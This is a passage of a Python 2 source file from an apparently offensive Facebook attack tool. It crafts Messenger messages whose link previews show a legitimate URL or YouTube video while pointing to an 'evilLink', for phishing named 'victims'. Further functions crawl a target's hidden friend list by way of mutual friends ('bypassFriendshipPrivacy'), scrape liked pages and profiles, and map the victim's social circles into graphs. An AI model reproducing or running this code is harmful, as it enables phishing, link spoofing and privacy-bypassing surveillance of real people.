# 'message_batch[0][timestamp_time_passed]' : '0',
994
# 'message_batch[0][is_unread]' : 'false',
995
# 'message_batch[0][is_cleared]' : 'false',
996
# 'message_batch[0][is_forward]' : 'false',
997
# 'message_batch[0][is_filtered_content]' : 'false',
998
# 'message_batch[0][spoof_warning]' : 'false',
999
# 'message_batch[0][source]' : 'source:titan:web',
1000
# 'message_batch[0][body]' : str(message),
1001
# 'message_batch[0][has_attachment]' : 'false',
1002
# 'message_batch[0][html_body]' : 'false',
1003
# 'message_batch[0][specific_to_list][0]' : 'email:'+str(victim),
1004
# 'message_batch[0][specific_to_list][1]' : 'fbid:'+str(c_user),
1005
# 'message_batch[0][forward_count]' : '0',
1006
# 'message_batch[0][force_sms]' : 'true',
1007
# 'message_batch[0][ui_push_phase]' : 'V3',
1008
# 'message_batch[0][status]' : '0',
1009
# 'message_batch[0][message_id]' : '<1372638156169:[email protected]>',
1010
# 'message_batch[0][client_thread_id]' : 'pending:pending',
1011
# 'client' : 'web_messenger',
1012
# '__user' : str(c_user),
1013
# '__a' : '1',
1014
# '__dyn' : '7n8ahyj35zsyzk9UmAEKWw',
1015
# '__req' : 'b',
1016
# 'fb_dtsg' : br.form['fb_dtsg'],
1017
# 'phstamp' : '16581661207177118751248'
1018
# }
1019
#
1020
# datos = urlencode(arguments)
1021
# response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php ',datos)
1022
#
1023
# if globalLogging:
1024
# logs(response.read())
1025
#
1026
# except mechanize.HTTPError as e:
1027
# print e.code
1028
# except mechanize.URLError as e:
1029
# print e.reason.args
1030
# except:
1031
# print 'Ctrl+c SIGNAL Caught\n'
1032
# return
1033
1034
def getTime():
1035
hour = datetime.datetime.strftime(datetime.datetime.now(), '%H:%M')
1036
if int(hour.split(':')[0]) >= 12:
1037
hour += 'am'
1038
else:
1039
hour += 'pm'
1040
return hour
1041
1042
def privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink):
1043
1044
c_user = getC_user()
1045
1046
try:
1047
fb_dtsg = set_dtsg()
1048
if (fb_dtsg == 0):
1049
print 'ERROR MOTHER FUCKER -_-'
1050
1051
arguments = {
1052
'message_batch[0][action_type]' : 'ma-type:user-generated-message',
1053
'message_batch[0][thread_id]' : '',
1054
'message_batch[0][author]' : 'fbid:'+c_user,
1055
'message_batch[0][author_email]' : '',
1056
'message_batch[0][timestamp]' : str(int(time())),
1057
'message_batch[0][timestamp_absolute]' : 'Today',
1058
'message_batch[0][timestamp_relative]' : getTime(),
1059
'message_batch[0][timestamp_time_passed]' : '0',
1060
'message_batch[0][is_unread]' : 'false',
1061
'message_batch[0][is_cleared]' : 'false',
1062
'message_batch[0][is_forward]' : 'false',
1063
'message_batch[0][is_filtered_content]' : 'false',
1064
'message_batch[0][is_spoof_warning]' : 'false',
1065
'message_batch[0][source]' : 'source:titan:web',
1066
'message_batch[0][body]' : message,
1067
'message_batch[0][has_attachment]' : 'true',
1068
'message_batch[0][html_body]' : 'false',
1069
'message_batch[0][specific_to_list][0]' : 'fbid:' + victim,
1070
'message_batch[0][content_attachment][subject]' : subject,
1071
'message_batch[0][content_attachment][app_id]' : '2309869772',
1072
'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : realLink,
1073
'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : realLink,
1074
'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : evilLink,
1075
'message_batch[0][content_attachment][attachment][params][favicon]' : realLink+'/favicon.ico',
1076
'message_batch[0][content_attachment][attachment][params][title]' : title,
1077
'message_batch[0][content_attachment][attachment][params][summary]' : summary,
1078
'message_batch[0][content_attachment][attachment][params][images][0]' : imageLink,
1079
'message_batch[0][content_attachment][attachment][params][medium]' : '106',
1080
'message_batch[0][content_attachment][attachment][params][url]' : realLink,
1081
'message_batch[0][content_attachment][attachment][type]' : '100',
1082
'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',
1083
'message_batch[0][content_attachment][link_metrics][domain]' : realLink.strip('https://').strip('/'),
1084
'message_batch[0][content_attachment][link_metrics][base_domain]' : realLink.strip('https://www.').strip('/'),
1085
'message_batch[0][content_attachment][link_metrics][title_len]' : '38',
1086
'message_batch[0][content_attachment][link_metrics][summary_len]' : '38',
1087
'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',
1088
'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',
1089
'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '3',
1090
'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',
1091
'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',
1092
'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '322',
1093
'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '70',
1094
'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',
1095
'message_batch[0][content_attachment][link_metrics][images_considered]' : '5',
1096
'message_batch[0][content_attachment][link_metrics][images_cap]' : '3',
1097
'message_batch[0][content_attachment][link_metrics][images_type]' : 'ranked',
1098
'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',
1099
'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',
1100
'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',
1101
'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',
1102
'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',
1103
'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',
1104
'message_batch[0][content_attachment][composer_metrics][load_duration]' : '6',
1105
'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',
1106
'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',
1107
'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',
1108
'message_batch[0][force_sms]' : 'true',
1109
'message_batch[0][ui_push_phase]' : 'V3',
1110
'message_batch[0][status]' : '0',
1111
'message_batch[0][message_id]' : '<1394766424499:[email protected]>',
1112
'message_batch[0][client_thread_id]' : 'user:'+str(c_user),
1113
'client' : 'web_messenger',
1114
'__user' : c_user,
1115
'__a' : '1',
1116
'__dyn' : '7n8a9EAMBlCFYwyt2u6aOGeExEW9J6yUgByVbGAF4iGGeqheCu6po',
1117
'__req' : '1n',
1118
'fb_dtsg' : fb_dtsg,
1119
'ttstamp' : '26581658074898653',
1120
'__rev' : '1161243'
1121
}
1122
datos = urlencode(arguments)
1123
response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)
1124
1125
if globalLogging:
1126
logs(response.read())
1127
1128
except mechanize.HTTPError as e:
1129
print e.code
1130
except mechanize.URLError as e:
1131
print e.reason.args
1132
except:
1133
print 'Ctrl+c SIGNAL Caught\n'
1134
return
1135
1136
def privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo):
1137
c_user = getC_user()
1138
print str(c_user)+'\n'
1139
try:
1140
fb_dtsg = set_dtsg()
1141
if (fb_dtsg == 0):
1142
print 'ERROR MOTHER FUCKER -_-'
1143
1144
arguments = {
1145
'message_batch[0][action_type]' : 'ma-type:user-generated-message',
1146
'message_batch[0][thread_id]' : '',
1147
'message_batch[0][author]' : 'fbid:'+str(c_user),
1148
'message_batch[0][author_email]' : '',
1149
'message_batch[0][coordinates]' : '',
1150
'message_batch[0][timestamp]' : '1410457740680',
1151
'message_batch[0][timestamp_absolute]' : 'Today',
1152
'message_batch[0][timestamp_relative]' : '10:16am',
1153
'message_batch[0][timestamp_time_passed]' : '0',
1154
'message_batch[0][is_unread]' : 'false',
1155
'message_batch[0][is_cleared]' : 'false',
1156
'message_batch[0][is_forward]' : 'false',
1157
'message_batch[0][is_filtered_content]' : 'false',
1158
'message_batch[0][spoof_warning]' : 'false',
1159
'message_batch[0][source]' : 'source:titan:web',
1160
'message_batch[0][body]' : str(message),
1161
'message_batch[0][has_attachment]' : 'true',
1162
'message_batch[0][html_body]' : 'false',
1163
'message_batch[0][specific_to_list][0]' : 'fbid:'+str(victimId),
1164
'message_batch[0][specific_to_list][1]' : 'fbid:'+str(c_user),
1165
'message_batch[0][content_attachment][subject]' : str(subject),
1166
'message_batch[0][content_attachment][app_id]' : '2309869772',
1167
'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : str(videoLink),
1168
'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : str(videoLink),
1169
'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : str(evilLink),
1170
'message_batch[0][content_attachment][attachment][params][urlInfo][log][1408344793]' : 'https://www.mkit.com.ar/',
1171
'message_batch[0][content_attachment][attachment][params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',
1172
'message_batch[0][content_attachment][attachment][params][title]' : str(title),
1173
'message_batch[0][content_attachment][attachment][params][summary]' : str(summary),
1174
'message_batch[0][content_attachment][attachment][params][images][0]' : 'http://i1.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og&cfs=1&upscale',
1175
'message_batch[0][content_attachment][attachment][params][medium]' : '103',
1176
'message_batch[0][content_attachment][attachment][params][url]' : str(videoLink),
1177
'message_batch[0][content_attachment][attachment][params][video][0][type]' : 'application/x-shockwave-flash',
1178
'message_batch[0][content_attachment][attachment][params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',
1179
'message_batch[0][content_attachment][attachment][params][video][0][width]' : '1280',
1180
'message_batch[0][content_attachment][attachment][params][video][0][height]' : '720',
1181
'message_batch[0][content_attachment][attachment][params][video][0][secure_url]' : 'https://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',
1182
'message_batch[0][content_attachment][attachment][type]' : '100',
1183
'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',
1184
'message_batch[0][content_attachment][link_metrics][domain]' : 'www.youtube.com',
1185
'message_batch[0][content_attachment][link_metrics][base_domain]' : 'youtube.com',
1186
'message_batch[0][content_attachment][link_metrics][title_len]' : str(len(title)),
1187
'message_batch[0][content_attachment][link_metrics][summary_len]' : str(len(summary)),
1188
'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',
1189
'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',
1190
'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '1',
1191
'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',
1192
'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',
1193
'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '1280',
1194
'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '720',
1195
'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',
1196
'message_batch[0][content_attachment][link_metrics][images_considered]' : '1',
1197
'message_batch[0][content_attachment][link_metrics][images_cap]' : '10',
1198
'message_batch[0][content_attachment][link_metrics][images_type]' : 'images_array',
1199
'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',
1200
'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',
1201
'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',
1202
'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',
1203
'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',
1204
'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',
1205
'message_batch[0][content_attachment][composer_metrics][load_duration]' : '2',
1206
'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',
1207
'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',
1208
'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',
1209
'message_batch[0][force_sms]' : 'true',
1210
'message_batch[0][ui_push_phase]' : 'V3',
1211
'message_batch[0][status]' : '0',
1212
'message_batch[0][message_id]' : '<1410457740680:[email protected]>',
1213
'message_batch[0][client_thread_id]' : 'user:'+str(victimId),
1214
'client' : 'web_messenger',
1215
'__user' : str(c_user),
1216
'__a' : '1',
1217
'__dyn' : '7n8ahyj35CCOadgDxqjdLg',
1218
'__req' : 'c',
1219
'fb_dtsg' : fb_dtsg,
1220
'ttstamp' : '265816977807275100848411568',
1221
}
1222
1223
datos = urlencode(arguments)
1224
response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php ',datos)
1225
1226
if globalLogging:
1227
logs(response.read())
1228
1229
except mechanize.HTTPError as e:
1230
print e.code
1231
except mechanize.URLError as e:
1232
print e.reason.args
1233
except:
1234
print 'Ctrl+c SIGNAL Caught\n'
1235
return
1236
1237
1238
1239
def linkFriends(victim):
1240
friends = []
1241
root = 'dumps'
1242
directory = victim
1243
delay = 1
1244
linkedFile = open( os.path.join(root,directory,victim+"friend_links.html"),"wb")
1245
1246
try:
1247
persons = open( os.path.join(root,directory,victim+".txt") ,"rb")
1248
except:
1249
print '\r \r',
1250
print '\r %s.txt not exists, error on linkFriends module \r' %victim,
1251
logs(str(victim)+' not exists, error on linkFriends module')
1252
return
1253
1254
while True:
1255
linea = persons.readline()
1256
if not linea:
1257
break
1258
friends.append(linea.strip("\n\r"))
1259
1260
persons.close()
1261
1262
for individuals in friends:
1263
try:
1264
response = br.open('https://graph.facebook.com/'+individuals)
1265
resultado = response.read()
1266
json_dump = json.loads(resultado)
1267
try:
1268
friend = json_dump['link']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']
1269
print friend
1270
linkedFile.write(MyParser.htmlFormat(json_dump))
1271
except:
1272
try:
1273
print 'https://www.facebook.com/%s' %json_dump['username']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']
1274
except:
1275
print 'https://www.facebook.com/%s' %individuals
1276
1277
except mechanize.HTTPError as e:
1278
print e.code
1279
print 'Sleeping %d' %delay
1280
sleep(delay)
1281
delay += 1
1282
except mechanize.URLError as e:
1283
print e.reason.args
1284
print 'Sleeping %d URLerror ' %delay
1285
sleep(delay)
1286
delay += 1
1287
1288
linkedFile.close()
1289
1290
def getName(userId):
1291
try:
1292
response = br.open('https://www.facebook.com/'+str(userId))
1293
data = response.read()
1294
match = re.search("_8_2",data)
1295
if match is not None:
1296
start = match.end() + 33
1297
matchBis = re.search('">',data[start:])
1298
if matchBis is not None:
1299
return data[start:start+matchBis.start()]
1300
return userId
1301
except mechanize.HTTPError as e:
1302
print str(e.code)
1303
return userId
1304
except mechanize.URLError as e:
1305
print str(e.reason.args)
1306
return userId
1307
except:
1308
return userId
1309
1310
1311
def mkdir(directory,root):
1312
import os
1313
1314
if os.path.exists(os.path.join(root,directory)):
1315
return
1316
else:
1317
os.makedirs(os.path.join(root,directory))
1318
1319
1320
def saveObjects(victim,matrix,ref):
1321
path = os.path.join("dumps",victim,"objects",victim)
1322
f = open(path,"wb")
1323
pickle.dump(matrix,f)
1324
g = open(path+'.ref',"wb")
1325
pickle.dump(ref,g)
1326
g.close()
1327
f.close()
1328
1329
def loadObjects(victim):
1330
try:
1331
path = os.path.join("dumps",victim,"objects",victim)
1332
f = open(path,"rb")
1333
A = pickle.load(f)
1334
g = open( path +'.ref',"rb")
1335
ref = pickle.load(g)
1336
g.close()
1337
f.close()
1338
return A,ref
1339
except:
1340
return [],{}
1341
1342
def reAnalyzeGraph(victim):
1343
try:
1344
f = open( os.path.join("dumps",victim,"objects",victim+"-community" ) ,"rb")
1345
labelGraph = pickle.load(f)
1346
f.close()
1347
except:
1348
logs('Error on reAnalyzeGraph() object not exist')
1349
print 'Error on reAnalyzeGraph() object not exist\n'
1350
return
1351
1352
#Community algorithm
1353
root = 'dumps'
1354
directory = victim
1355
1356
try:
1357
partition = community.best_partition(labelGraph)
1358
1359
for i in set(partition.values()):
1360
print "Community", i
1361
members = [nodes for nodes in partition.keys() if partition[nodes] == i]
1362
1363
egonet = labelGraph.subgraph(set(members))
1364
print sorted(egonet.nodes(),reverse=False)
1365
print sorted(egonet.edges(),reverse=False)
1366
1367
1368
nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)
1369
plt.savefig( os.path.join(root,directory,victim+"Community"+str(i)+".pdf") )
1370
plt.savefig( os.path.join(root,directory,victim+"Community"+str(i)+".png") )
1371
write_dot(egonet, os.path.join(root,directory,victim+"Community"+str(i)+".dot") )
1372
plt.show()
1373
1374
1375
raw_input('Press enter to continue...\n')
1376
except:
1377
logs('Error on reAnalyzeGraph() debbug for more information')
1378
print 'Error on reAnalyzeGraph() debbug for more information\n'
1379
return
1380
1381
def analyzeGraph(victim):
1382
root = 'dumps'
1383
directory = victim
1384
mkdir(directory,root)
1385
1386
1387
edges = {}
1388
edgesValues = {}
1389
nodekeys = {}
1390
userNames = []
1391
commonPages = {}
1392
1393
A,idkeys = loadObjects(victim)
1394
if A != []:
1395
1396
myGraph = nx.from_numpy_matrix(A)
1397
1398
nodes = myGraph.nodes()
1399
1400
#Percentage
1401
i = 0.0
1402
percentage = 0.0
1403
1404
#flush
1405
print '\r \r',
1406
1407
#Dictio creation of usernames
1408
#Associated with node number
1409
print 'Attemping to get user\'s information'
1410
for elements in idkeys.keys():
1411
try:
1412
user = getName(elements)
1413
commonPages[user] = corePagesLike(victim,elements)
1414
userNames.append(user)
1415
nodekeys[idkeys[elements]] = user
1416
percentage = (i * 100.0)/len(idkeys.keys())
1417
flush()
1418
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,len(idkeys.keys()), percentage),
1419
i+=1
1420
except:
1421
continue
1422
1423
reference = open( os.path.join(root,directory,victim+"references.txt") ,"wb")
1424
for users in nodekeys.keys():
1425
try:
1426
line = str(nodekeys[users])+' : '+str(users)
1427
reference.write(line + '\n')
1428
except:
1429
continue
1430
1431
reference.close()
1432
1433
for node in nodes:
1434
try:
1435
edges[node] = myGraph.degree(node)
1436
if edgesValues.has_key(edges[node]):
1437
edgesValues[edges[node]].append(node)
1438
else:
1439
edgesValues[edges[node]] = [node]
1440
except:
1441
continue
1442
1443
1444
for values in sorted(edgesValues.keys(),reverse=True):
1445
try:
1446
print str(values) + ' aristas; nodos: ',
1447
for nodes in edgesValues[values]:
1448
print str(nodes) + ', ',
1449
print '\n'
1450
except:
1451
continue
1452
1453
print nx.is_connected(myGraph)
1454
1455
print nx.number_connected_components(myGraph)
1456
1457
ccs = nx.clustering(myGraph)
1458
print ccs
1459
print sum(ccs)/len(ccs)
1460
1461
#Creation of the labeld graph for community
1462
labelNodes = myGraph.nodes()
1463
labelEdges = myGraph.edges()
1464
labelGraph = nx.Graph()
1465
1466
for label in labelNodes:
1467
try:
1468
labelGraph.add_node(nodekeys[int(label)],likes=commonPages[nodekeys[int(label)]])
1469
except:
1470
continue
1471
1472
for labelE in labelEdges:
1473
try:
1474
labelGraph.add_edge(nodekeys[int(labelE[0])],nodekeys[int(labelE[1])])
1475
except:
1476
continue
1477
try:
1478
nx.draw_spring(labelGraph,node_color = np.linspace(0,1,len(labelGraph.nodes())),edge_color = np.linspace(0,1,len(labelGraph.edges())) ,with_labels=True)
1479
plt.savefig( os.path.join(root,directory,victim+"labelGraph_color.pdf") )
1480
plt.savefig( os.path.join(root,directory,victim+"labelGraph_color.png") )
1481
write_dot(labelGraph, os.path.join(root,directory,victim+"labelGraph_color.dot") )
1482
plt.show()
1483
except:
1484
print 'Erro plotting the graph'
1485
1486
#Saving the object for future analysis
1487
f = open( os.path.join("dumps",victim,"objects",victim+"-community") ,"wb")
1488
pickle.dump(labelGraph,f)
1489
f.close()
1490
1491
#Community algorithm
1492
partition = community.best_partition(labelGraph)
1493
1494
for i in set(partition.values()):
1495
try:
1496
print "Community", i
1497
members = [nodes for nodes in partition.keys() if partition[nodes] == i]
1498
except:
1499
continue
1500
''' No longer necessary (?)
1501
reference = open(root+"\\"+directory+"\\community"+str(i)+"references.txt","wb")
1502
1503
for nodes in members:
1504
line = str(nodekeys[int(nodes)])+' : '+str(nodes)
1505
reference.write(line + '\n')
1506
1507
reference.close()
1508
'''
1509
try:
1510
egonet = labelGraph.subgraph(set(members))
1511
print sorted(egonet.nodes(),reverse=False)
1512
print sorted(egonet.edges(),reverse=False)
1513
1514
1515
nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)
1516
plt.savefig( os.path.join(root,directory,victim+"Community"+str(i)+".pdf") )
1517
plt.savefig( os.path.join(root,directory,victim+"Community"+str(i)+".png") )
1518
write_dot(egonet, os.path.join(root,directory,victim+"Community"+str(i)+".dot") )
1519
plt.show()
1520
except:
1521
print 'Error plotting the graph'
1522
1523
1524
raw_input('Press enter to continue...\n')
1525
else:
1526
logs('Error on analyzeGraph() file not exist')
1527
print 'Error on analyzeGraph() file not exist\n'
1528
return
1529
1530
1531
1532
def bypassFriendshipPrivacyPlot(victim, transitive):
1533
1534
coleccion = {}
1535
nodeID = 0
1536
1537
root = 'dumps'
1538
directory = str(victim)
1539
1540
mkdir(directory,root)
1541
1542
myGraph = nx.Graph()
1543
1544
coleccion[victim] = nodeID
1545
1546
victima = nodeID
1547
myGraph.add_node(victima)
1548
nodeID += 1
1549
1550
1551
#Percentage container
1552
percentage = 0.0
1553
#Disclosude friends container
1554
friendships = []
1555
#Already visited nodes container
1556
visited = []
1557
try:
1558
#If the file already exists
1559
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"rb")
1560
#Reads every line of the file
1561
while True:
1562
linea = friendshipFile.readline()
1563
if not linea:
1564
break
1565
#Store in the visited array for non repetition
1566
visited.append(linea.strip("\n\r"))
1567
friendshipFile.close()
1568
A,coleccion = loadObjects(victim)
1569
if A == []:
1570
logs("Inconsistency, the userid file exists, but has no object associated")
1571
print "Inconsistency, the userid file exists, but has no object associated"
1572
return
1573
else:
1574
myGraph = nx.from_numpy_matrix(A)
1575
1576
except:
1577
#If the file does not exists, creates the file
1578
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"wb")
1579
friendshipFile.close()
1580
1581
1582
try:
1583
#Generates the first level of the search
1584
result = coreFriendshipPrivacy(victim,transitive)
1585
except:
1586
print 'Check the internet connection please..'
1587
return
1588
1589
#Stores non repetitive values in the disclosed friends container
1590
for individuos in result:
1591
if individuos not in visited:
1592
if coleccion.has_key(individuos) == False:
1593
nodo = nodeID
1594
nodeID += 1
1595
coleccion[individuos] = nodo
1596
else:
1597
nodo = coleccion[individuos]
1598
1599
if coleccion.has_key(transitive) == False:
1600
transitivo = nodeID
1601
nodeID += 1
1602
coleccion[transitive] = transitivo
1603
else:
1604
transitivo = coleccion[transitive]
1605
1606
myGraph.add_node(nodo)
1607
myGraph.add_edge(nodo,transitivo)
1608
friendships.append(individuos)
1609
1610
#Counter for percentage calculus purpose
1611
i = 0.0
1612
#flush
1613
print '\r \r',
1614
#For every value in the first disclosed list, repeats until every value has been tryed
1615
for friends in friendships:
1616
#Percentage calculus
1617
percentage = (i * 100.0)/len(friendships)
1618
flush()
1619
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,len(friendships), percentage),
1620
i+=1
1621
#Only if the node wasn't visited
1622
if friends not in visited:
1623
#if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True.
1624
#Only if the try passes, the infinite while will end. (For internet error connection problem)
1625
state = True
1626
while state == True:
1627
try:
1628
result = coreFriendshipPrivacy(victim,friends)
1629
state = False
1630
except signalCaught as e:
1631
state = False
1632
print 'Signal Caught handler'
1633
print '%s ' %e.args[0]
1634
return
1635
except:
1636
logs('Check the internet connection please.. Press enter when it\'s done')
1637
print '\r \r',
1638
raw_input('\rCheck the internet connection please.. Press enter when it\'s done\r'),
1639
1640
#Stores non repetitive values in the disclosed friends container
1641
for element in result:
1642
if element not in friendships:
1643
if coleccion.has_key(friends) == False:
1644
nodo = nodeID
1645
nodeID += 1
1646
coleccion[friends] = nodo
1647
else:
1648
nodo = coleccion[friends]
1649
1650
if coleccion.has_key(element) == False:
1651
transitivo = nodeID
1652
nodeID += 1
1653
coleccion[element] = transitivo
1654
else:
1655
transitivo = coleccion[element]
1656
1657
myGraph.add_node(nodo)
1658
myGraph.add_edge(nodo,transitivo)
1659
friendships.append(element)
1660
1661
#Stores every single value of friendships list alredy analyzed for non repetitivness
1662
visited.append(friends)
1663
1664
#Check if the file exists, if true append, else create and writes
1665
try:
1666
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"ab")
1667
except:
1668
friendshipFile = open( os.path.join(root,directory,victim+".txt") ,"wb")
1669
#Stores every userID for further analyzis
1670
for friends in friendships:
1671
if coleccion.has_key(friends) == False:
1672
transitivo = nodeID
1673
nodeID += 1
1674
coleccion[friends] = transitivo
1675
else:
1676
transitivo = coleccion[friends]
1677
1678
myGraph.add_edge(victima,transitivo)
1679
friendshipFile.write(str(friends)+'\n')
1680
1681
1682
friendshipFile.close()
1683
1684
mkdir('objects', os.path.join(root,directory))
1685
A = nx.adj_matrix(myGraph)
1686
saveObjects(victim, A, coleccion)
1687
1688
nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)
1689
plt.savefig( os.path.join(root,directory,victim+"graph_color.pdf") )
1690
plt.savefig( os.path.join(root,directory,victim+"graph_color.png") )
1691
write_dot(myGraph,os.path.join(root,directory,victim+"graph_color.dot"))
1692
plt.show()
1693
1694
1695
1696
def bypassFriendshipPrivacy(victim, transitive):
1697
#Percentage container
1698
percentage = 0.0
1699
#Disclosude friends container
1700
friendships = []
1701
#Already visited nodes container
1702
visited = []
1703
try:
1704
#If the file already exists
1705
friendshipFile = open( os.path.join("dumps",victim+".txt") ,"rb")
1706
#Reads every line of the file
1707
while True:
1708
linea = friendshipFile.readline()
1709
if not linea:
1710
break
1711
#Store in the visited array for non repetition
1712
visited.append(linea.strip("\n\r"))
1713
1714
friendshipFile.close()
1715
1716
except:
1717
#If the file does not exists, creates the file
1718
friendshipFile = open( os.path.join("dumps",victim+".txt") ,"wb")
1719
friendshipFile.close()
1720
1721
1722
try:
1723
#Generates the first level of the search
1724
result = coreFriendshipPrivacy(victim,transitive)
1725
except:
1726
print '\r \r',
1727
raw_input('\rCheck the internet connection please.. Press enter when it\'s done\r'),
1728
return
1729
1730
#Stores non repetitive values in the disclosed friends container
1731
for individuos in result:
1732
if individuos not in visited:
1733
friendships.append(individuos)
1734
1735
#Counter for percentage calculus purpose
1736
i = 0.0
1737
#flush
1738
print '\r \r',
1739
#For every value in the first disclosed list, repeats until every value has been tryed
1740
for friends in friendships:
1741
#Percentage calculus
1742
percentage = (i * 100.0)/len(friendships)
1743
flush()
1744
print '\rIterating on %d of %d - [%.2f%%] completed\r' %(i ,len(friendships), percentage),
1745
i+=1
1746
#Only if the node wasn't visited
1747
if friends not in visited:
1748
#if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True.
1749
#Only if the try passes, the infinite while will end. (For internet error connection problem)
1750
state = True
1751
while state == True:
1752
try:
1753
result = coreFriendshipPrivacy(victim,friends)
1754
state = False
1755
except signalCaught as e:
1756
state = False
1757
print 'Signal Caught handler'
1758
print '%s ' %e.args[0]
1759
return
1760
except:
1761
print '\r \r',
1762
raw_input('\rCheck the internet connection please..\r'),
1763
1764
#Stores non repetitive values in the disclosed friends container
1765
for element in result:
1766
if element not in friendships:
1767
friendships.append(element)
1768
1769
#Stores every single value of friendships list alredy analyzed for non repetitivness
1770
visited.append(friends)
1771
1772
#Check if the file exists, if true append, else create and writes
1773
try:
1774
friendshipFile = open( os.path.join("dumps",victim+".txt") ,"ab")
1775
except:
1776
friendshipFile = open( os.path.join("dumps",victim+".txt") ,"wb")
1777
1778
#Stores every userID for further analyzis
1779
for friends in friendships:
1780
friendshipFile.write(str(friends)+'\n')
1781
1782
friendshipFile.close()
1783
1784
def corePagesLike(victim,transitive):
1785
matchs = []
1786
begin = 0
1787
page = []
1788
1789
try:
1790
response = br.open('https://www.facebook.com/'+str(victim)+'?and='+str(transitive)+'&sk=favorites')
1791
resultado = response.read()
1792
match = re.search('timelineFriendsColumnHeader',resultado)
1793
if match is not None:
1794
linea = re.search('timelineFriendsColumnHeader(.+)',resultado).group()
1795
1796
except mechanize.HTTPError as e:
1797
print e.code
1798
#Should handle a custom error
1799
raise
1800
except mechanize.URLError as e:
1801
print e.reason.args
1802
#Should handle a custom error
1803
raise
1804
#Error connection the upper function will catch the exception
1805
except:
1806
raise
1807
1808
while True:
1809
match = re.search('fbStreamTimelineFavInfoContainer',resultado[begin:])
1810
if match != None:
1811
matchEnd = re.search('\n',resultado[begin+match.start():])
1812
if matchEnd != None:
1813
matchs.append(resultado[begin+match.start():matchEnd.end()+begin+match.start()])
1814
begin = matchEnd.end()+begin+match.start()
1815
match = None
1816
matchEnd = None
1817
else:
1818
break
1819
1820
1821
for linea in matchs:
1822
start = 0
1823
try:
1824
#Search the string to get the position of the starting match
1825
matchAnd = re.search('page\.php\?id=',linea[start:])
1826
#Search the end of the match for taking the id length
1827
matchEnd = re.search('">',linea[start+matchAnd.end():])
1828
#If we have a start and an end, we have the id value
1829
except:
1830
print 'ERROR'
1831
1832
1833
if (matchAnd and matchEnd) is not None:
1834
#Appends the value given the proper position (resolved a few lines up)
1835
page.append(linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end() ])
1836
#Moves the pointer for next match
1837
start += matchEnd.start()+matchAnd.end()
1838
return page
1839
1840
def checkPrivacy(victim):
1841
try:
1842
response = br.open('https://www.facebook.com/'+str(victim)+'?sk=friends')
1843
resultado = response.read()
1844
match = re.search('All Friends',resultado)
1845
matchBis = re.search('Todos los amigos',resultado)
1846
matchBisBis = re.search('Todos mis amigos',resultado)
1847
if ((match is not None) or (matchBis is not None) or (matchBisBis is not None)):
1848
matchFriends = re.search('_1qp6(.+)"',resultado).group()
1849
return matchFriends
1850
else:
1851
return -1
1852
